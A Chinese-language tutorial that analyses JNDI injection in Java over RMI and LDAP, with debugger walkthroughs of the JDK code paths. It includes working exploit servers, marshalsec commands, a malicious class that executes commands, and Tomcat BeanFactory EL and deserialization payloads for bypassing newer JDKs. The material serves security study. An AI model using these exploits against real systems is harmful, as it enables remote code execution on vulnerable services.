JNDI注入浅析

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JNDI注入浅析

JNDI概述

rmi：

客户端通过rmi协议请求到服务端的远程类，并加载执行

JNDI（Java Naming and Directory Interface，Java命名和目录接口）

  • 命名服务：命名服务是一种简单的键值对绑定，可以通过键名检索值，RMI就是典型的命名服务
  • 目录服务：目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象

比如说：

  • 命名服务示例（DNS）：
    • 查询 example.com → 返回 192.168.1.1（IP 地址）
      👉 通过名字找到 IP 地址
  • 目录服务示例（LDAP）：
    • 查询 (cn=张三) → 返回 {姓名=张三, 邮箱=zhangsan@example.com, 部门=IT}
      👉 通过名字或属性找到完整的用户信息

而JNDI则是对rmi和LDAP这种服务进行了封装，用同样的语句就能轻松使用这些不同的服务。

JNDI具体实现

InitialContext类

InitialContext initialContext = new InitialContext();

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//将名称绑定到对象。
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name) 
//将名称绑定到对象，覆盖任何现有绑定。 
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)

JNDI Naming Reference

javax.naming还提供了一个Reference类可以包装另一个远程类

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//为类名为“className”的对象构造一个新的引用。  
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。 
Reference(String className, String factory, String factoryLocation)  
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String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
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// 第一个参数是远程加载时所使用的类名
// 第二个参数是要加载的类的完整类名
// 第三个参数就是远程class文件存放的地址了，可以是file/ftp/http协议
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:8888/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

客户端获取远程对象，获取到Reference类，再通过它解析出另一个远程对象

JNDI注入原理

lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时，我们都可以让其加载我们的恶意Reference类，导致RCE。（rmi的function实际上是在服务端执行的，但是注册Reference后客户端会从其中的远程工厂地址中加载恶意类，直接将对象写在构造方法或者静态代码块中，当被调用时，实例化会默认调用构造方法，以及静态代码块，就在这里实现了任意代码执行）

条件：

客户端的lookup()方法的参数可控

服务端在使用Reference类时，classFactoryLocation参数可控

上面两个都是在编写程序时可能存在的脆弱点（任意一个满足就行），除此之外，jdk版本在JNDI注入中也起着至关重要的作用，而且不同的攻击Payload对jdk的版本要求也不一致，这里就全部列出来：

JDK 6u45、7u21之后：java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项，因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞，但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。

RMI+JNDI

实战中用marshalsec快速起服务

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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Evil" 1099

client：

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import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws Exception {
        InitialContext ic = new InitialContext();
        ic.lookup("rmi://127.0.0.1:1099/ref");
    }
}

rmiserver：

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import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class rmiserver {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference("Evil","Evil","http://127.0.0.1:1234/");
        ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
        registry.bind("ref",refWrapper);
    }
}

有回显的恶意类

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// Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit implements ObjectFactory
{
    static {
        System.err.println("success");
        try {
            String cmd = "calc.exe";
            Runtime.getRuntime().exec(cmd);
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec("cmd.exe /c dir");
            InputStream inputStream = process.getInputStream();
            BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, "gb2312"));
            while(br.readLine()!=null)
                System.out.println(br.readLine());

        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

调试过程：

lookup下断点进去

lookup

getURLOrDefaultInitCtx可以用通过协议返回不同对象（上下文工厂）,简单跟进一下

getURLOrDefaultInitCtx

如果设置了initctx_factory_builder，优先用它来获取上下文，否则获取scheme（这里是rmi），通过scheme获取上下文，如果再获取失败则返回默认上下文。

lookup

再来跟进rmiContext的lookup方法，

getRootURLContext

getRootURLContext(var1, this.myEnv)先校验url的正确性，顺便拆分

然后var15是远程注册信息上下文，这里也能看出this.myEnv(var2)是用来控制连接问题的（getRegistry获取远程注册表）

最后封装成了ResolveResult

回到lookup，又把它们分别取出来了

lookup

再来看下一层调用的远程注册信息上下文的lookup，肯定是通过注册表获取远程类了，注册了一个远程var2对象，然后通过注册信息取回了一个ReferenceWrapper_Stub类实例，该类实例就是对我们恶意Reference类的封装，最后调用decodeObject()函数来解析

decodeObject

看看decodeObject，确实

如果是RemoteReference的对象就调用getReference拿回Reference，然后调用NamingManager.getObjectInstance(var3, var2, this, this.environment)来获取文件系统服务器上的恶意类。

getObjectFactoryFromReference主要就是属性的loadclass和newinstance了，然后要恶意类没继承ObjectFactory或者，没实现getObjectInstance肯定是会报错的，但恶意代码早就被执行了。

为什么又getObjectInstance呢？为了实现统一接口，返回的factory都是ObjectFactory类，所以再提供了getObjectInstance的调用让它可以变成其他我们想要的对象（这导致了JNDI在高版本使用本地工厂类的绕过）

LDAP+JNDI

实战快速起server：

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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Evil" 1389

demo

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import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#Evil";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
//             Payload2: 返回序列化 Gadget
//            try {
//                e.addAttribute("javaSerializedData", Base64.decode("..."));
//            } catch (ParseException exception) {
//                exception.printStackTrace();
//            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
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import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.el.ELProcessor;
public class client {
    public static void main(String[] args) throws Exception {
        InitialContext ic = new InitialContext();
        ic.lookup("ldap://127.0.0.1:1099/ref");
    }
}

区别于rmisever，ldapsever就有一些复杂了，因为搭建一个内存中的 LDAP 服务器，不过也就是config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));设置拦截器拦截LDAP 请求然后通过sendResult返回Reference Factory，接下来我们主要调试client端。

调试过程

lookup

首先肯定还是getURLOrDefaultInitCtx进到LDAP的上下文对象调用其lookup方法

最后一位不能是?

然后是相似的lookup,还是先getRootURLContext，跟进去

getRootURLContext

这里比较不同了，但这个方法的目的还是创建上下文，封装类名以返回给lookup以进行下一步获取远程Reference类的操作。

getUsingURLIgnoreRootDN

getUsingURLIgnoreRootDN主要是把用LdapURL解析ldapurl，然后创建LdapCtx上下文，再把类名ref封装进CompositeName，最后ResolveResult封装两个对象返回。

lookup

然后回到lookup，进入LDAPcontext的lookup操作

lookup

这个lookup比较复杂，前面先封装一下用到的对象，第二块主要是持续解析，比如说

ctx.lookup("ldap://example.com:1099/ou=users,dc=example,dc=com")

他会循环解析嵌套的context结构，第三块会处理重定向，但其实恶意类加载还是在p_lookup里

p_lookup

先把var1和var2一起拆成头部和尾部，如果路径是 "dc=example,dc=com"，解析成：

  • Head → "dc=example"
  • Tail → "dc=com"

但是单是ref的话是：

  • Head → "ref"
  • Tail → ""

进入case 2块

c_lookup

先是进行了LDAP查询，如果不成功则processReturnCode处理返回的错误代码

也是获取到了我们的恶意Ldap结果（后续被解析成恶意Refrence类）

  • 如果查询返回了一个条目，则从 var23.entries 获取第一个条目。
  • var25.attributes 取出该条目的属性。
  • 如果条目有响应控制信息（respCtls），将它们追加到当前的响应控制中。

终于来到激动人心的decodeObject环节了，先是判断var4对象有没有Obj.JAVA_ATTRIBUTES[2](javaClassName)属性，有的兄弟，有的。

decodeObject

var2先取出codeBase

然后依次看LDAP结果中有没有javaSerializedData、javaRemoteLocation、objectClass，分别执行不同操作，可以反序列化（后面的高版本绕过…），加载rmi对象（是不是又可以打rmi的JNDI了…别打），加载远程类。

这次是第三种：

objectClass是javaNamingReference的话就解析出我们的恶意Reference类，包的包的

decodeReference

比较简单粗暴地还原了Reference类，然后直接return

c_lookup

又回到了c_lookup

完事竟然直接getObjectInstance了？我们明明还没从Reference还原出工厂类啊？其实这里把两个过程封装进一个方法中了，进去看看

getObjectInstance

泪目了，终于找到了，这里就和rmi的比较相似了，先从Reference还原恶意工厂类，然后调用其构造方法就能RCE了。

确实，总体过程还是比较复杂的。

高版本JDK绕过：用本地Class当Reference Factory

在高版本中（如：JDK8u191以上版本）虽然不能从远程加载恶意的Factory，但是我们依然可以在返回的Reference中指定Factory Class；

但是肯定有如下要求

  • 这个工厂类必须在受害目标本地的CLASSPATH中
  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口
  • 至少存在一个 getObjectInstance() 方法

tomcat8.5.0

org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中，所以使用也是非常广泛。 该类在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class，并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值，全都来自于Reference对象，均是攻击者可控的。

javax.el.ELProcessor是由eval方法的Bean Class，但怎么调用呢？

事实上调用的setter不一定需要是set..开头的方法，根据org.apache.naming.factory.BeanFactory中的逻辑，我们可以把某个方法强制指定为setter。

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ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

然后就会调用eval(""\".getClass().for...")

demo:

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//pom.xml（双方均需要）
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>
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//server
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class rmiserver1 {
    public static void main(String[] args) throws Exception{
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");

        InitialContext ctx = new InitialContext(env);
        LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        ctx.bind("ref", referenceWrapper);
    }
}
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//client
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws Exception {
        InitialContext ic = new InitialContext();
        ic.lookup("rmi://127.0.0.1:1099/ref");
    }
}

几种变体表达式：

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import javax.el.ELProcessor;

public class Test {
    public static void main(String[] args) {
        String poc1 = "''.getClass().forName('javax.script.ScriptEngineManager')" +
        ".newInstance().getEngineByName('nashorn')" +
        ".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        String poc2 = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
        ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
        ".invoke(null),'calc.exe')}";
        String poc3 = "''.getClass().forName('javax.script.ScriptEngineManager')" +
        ".newInstance().getEngineByName('JavaScript')" +
        ".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
        new ELProcessor().eval(poc1);
    }
}

调试过程：

主要是实例化远程工厂类BeanFactory之后，调用其getObjectInstance方法，此时的BeanFactory更像是为了方便还原Bean Class对象（因为没有进行远程加载类），而进行的封装，最后通过getObjectInstance还原我们本来需要的Bean Class。

直接进getObjectInstance，这是先把BeanClass加载出来

然后load成功进else块

先取出forceString内容，然后如果有多个则通过逗号分隔取出，如果有等号再分别取出变量和值，最后把以变量名为键，方法为值存入forced里面等会再使用

再取出其他所有内容，挨个遍历，排除一些并发用于setter属性，最后到我们的x=

然后直接取出forced中索引为x的method传入value调用，从而RCE。

主要是forcestring里有等号时支持自定义方法名，而不是像无等号时默认是setXxx，从而能用eval方法执行value。

高版本JDK绕过：利用LDAP返回序列化数据，触发本地Gadget

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import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class ldapserver1{
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:1234/#Evil";
        int port = 1099;

        try {
            //用unboundid-ldap-sdk 这个库来搭建一个内存中的 LDAP 服务器
            //创建 LDAP 服务器配置
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            //OperationInterceptor 是一个自定义的拦截器，用来在收到 LDAP 请求时，返回特定的类加载指令。
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            //启动
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    //操作拦截器类
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        //指定codebase
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        //拦截 LDAP 查询
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN(); //base 是 LDAP 查询的基本 DN（区分名）。
            Entry e = new Entry(base); //创建一个 LDAP Entry 来作为返回结果。
            try {
                sendResult(result, base, e); //发送结果
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Evil");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());
//             Payload2: 返回序列化 Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("..."));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

LDAP会反序列化查询结果集中javaSerializedData，如上所述decodeObject，只要本地有可以利用的gaget就能RCE。

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